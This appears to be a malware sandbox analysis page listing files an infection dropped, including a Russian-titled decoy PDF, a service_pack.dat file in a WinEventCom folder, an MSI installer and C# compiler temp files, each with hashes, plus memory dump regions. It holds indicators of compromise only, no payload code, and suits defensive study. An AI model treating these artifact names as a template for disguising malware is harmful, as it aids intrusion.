7c7eac0081ff7ce07ba96cd11f36f04e3386f2a176b4357c53384b72b7fcd0deacc477a20b5264b8b39f47d9348a5a8069a8acfff5b2e8576629b933d66e6bc1

Download Submit
C:\Users\Admin\AppData\Local\Приказ Минфина ДНР № 176.pdf

Filesize
111KB

MD5
79da5a4719f51837126bebd6c8f2714f

SHA1
36fbda3057119305f946a5f2949d442b33a3261c

SHA256
37309f7ea1877775b1d33e4d8fd43f5bbd49758af2c0400785d860c8036a0598

SHA512
01b6dcc10cf888084f4267b4bcc34e0b3b62ce50e09f903244757a819af83997b2fab9be755c464c89235f60f8c8383c272519950165dcad22f844266044935a

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QQU9ID8VHWA5T9JR0L0F.temp

Filesize
7KB

MD5
5b48388594e3599a82b3fad6919da131

SHA1
125fbe170cfa60271a3d681f2d5c46f5788a063e

SHA256
53b1d92ef90972d12a7fda782fa0819d94b0ac6aa8220172a4d532859f4b49da

SHA512
cd02dcec35c551436a63297d1cce5da13a932873f7f29b70d467fcf1fd391bd44d5812631ef9cefa1d60417505ca21e3e50e25e4ba842775ab335279fe66ceea

Download Submit
C:\Users\Admin\AppData\Roaming\WinEventCom\service_pack.dat

Filesize
23KB

MD5
e1f0082cb3d04c4a2a70ae02a158520c

SHA1
33a7244d072cf1d530a26d7d77bfe88615661ecd

SHA256
f405a26904d2f6aaf4ff5f24dc345a24751d13b691a0bf17ba8c94f08ebb8b5b

SHA512
2cf6bb9ba1c443797328159004c2f63ef70363e72fc3fe9aaee4a73a2d95f73a56cc30b2597d8d643370babaeaac46b24dbe59237a3ab866b61f0cb7eac8f0ca

Download Submit
C:\Users\Admin\AppData\Roaming\WinEventCom\Приказ Минфина ДНР № 176.pdf

Filesize
111KB

MD5
79da5a4719f51837126bebd6c8f2714f

SHA1
36fbda3057119305f946a5f2949d442b33a3261c

SHA256
37309f7ea1877775b1d33e4d8fd43f5bbd49758af2c0400785d860c8036a0598

SHA512
01b6dcc10cf888084f4267b4bcc34e0b3b62ce50e09f903244757a819af83997b2fab9be755c464c89235f60f8c8383c272519950165dcad22f844266044935a

Download Submit
C:\Windows\Installer\6c68d2.msi

Filesize
166KB

MD5
fee3db5db8817e82b1af4cedafd2f346

SHA1
e6bcf68c7d55fc933e7a7e2ca1fb4e8fa1ad376d

SHA256
4808815cb03b5f31841c74755897b65ed03e56dbddbe0d1fed06af3710f32d51

SHA512
37bbe3176b6d793b2b140e6bb6989b322832bdd77869d86e071e7566902fa9f718a647c2fb347a8a79f1fd9b5d5fc376ba8ddfa516944c3134d351048853278c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1rrtllpq.0.cs

Filesize
91B

MD5
c7f3bc82767e125b120f23fe5856722e

SHA1
e5143478a180c2bcc49034dae6536be2f7f7bb94

SHA256
f4e73f33fe74d354b87e76f481dbb2b12610820a308440c316b84ba0b4996c98

SHA512
fe480b21ec99713d5178d79db5f3129a0fc6d06d76e423c02623315453ad8224ea689bc53859da716dc7ecfcf41ec7832ca69f8088ace264c8967cf4ca4d8f98

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\1rrtllpq.cmdline

Filesize
309B

MD5
79259fe74a06b2a8d53af3b981afc737

SHA1
ba08cc8810d09414fd5d90255c39e3f4378cd9a0

SHA256
caa66dcf9672fb9f114292923f3d3b7692cf89504fb1009e10ac35000f404a0f

SHA512
e24c5d977301d08b3785a1a7092a2f35f5cddee486fca42dfe167e1ec6d7c3a64a79c78f7db004c39d73880133cb24f6b619994afb7c96f5a2223a0ce5f2f04d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC3D4F.tmp

Filesize
652B

MD5
3ad448d5a3d278b1143b590281325ffc

SHA1
c583f5312258a1e299d441248d3e951b6293356c

SHA256
db58c1c6b02252a291915918512a0469eb0614ab54d1351b52c532e686b7c559

SHA512
d33515e5aaa7940267fd2f627e41ab03692f255848c27a3f1318f462388648ba45d84b8a7a61020734095b449a20c907dc647ce3068ce0608ba499c28980937b

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSC92DE.tmp

Filesize
652B

MD5
75003770d652a0e11386dc9a920c93e5

SHA1
a369078c866e65cd7112e154f57aa956373e0973

SHA256
912f13c08fe1a1430c312f9fd04c49b40907c966dbb6b00445165480ed13e83d

SHA512
9636a01d070032def98cded61b80fd1535c18017e2221fb7709ca2307e522b9768a70d12b223932f8307fa7bba0d0e32798df5278795110476f5e164b9020017

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uirtmoe1.0.cs

Filesize
363B

MD5
1c84f1b08df842fa8b588b11f9221c94

SHA1
7dff1d05dfd1baa79823326f8b88598dd5cf5b6c

SHA256
c4e2044972dd7206a6561117d972945f2d4330072d4c7feea861c785576f9d16

SHA512
4b89ca9d512b1c713d6a8cb0fbb057e46493766452a850734f990bebabb00c78a12749e1dda6aa8ee4f00a0c35b7af93ae627c4e1b68b0eaca47e6b37b4bb502

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\uirtmoe1.cmdline

Filesize
309B

MD5
e386883de645354b4278a5058ffe52af

SHA1
f763774689db433266e6f6ecfaccf510c68e4cd2

SHA256
3b64ea35090b53c1533efcb293565a206a51d0426a0812bf59c758c53f8c3d25

SHA512
7af53646641f1bb92031d3a2a750533ff3f0cfa28740953089cf3a149dd9af766f3ab4d99ce41f94ce37ac6be1dbaa78d14f8f81731d71b0a4e786245f66fa61

Download Submit
memory/948-116-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-119-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-117-0x000000001B110000-0x000000001B3F2000-memory.dmp

Filesize
2.9MB

Download
memory/948-133-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-134-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-135-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-120-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-149-0x0000000002650000-0x0000000002658000-memory.dmp

Filesize
32KB

Download
memory/948-136-0x0000000002480000-0x0000000002500000-memory.dmp

Filesize
512KB

Download
memory/948-118-0x0000000002360000-0x0000000002368000-memory.dmp

Filesize
32KB

Download
memory/992-139-0x00000000023B0000-0x0000000002430000-memory.dmp

Filesize
512KB

Download
memory/1528-98-0x0000000001F40000-0x0000000001F80000-memory.dmp

Filesize
256KB

Download
memory/1800-80-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/1800-79-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download
memory/1800-78-0x00000000025E0000-0x0000000002620000-memory.dmp

Filesize
256KB

Download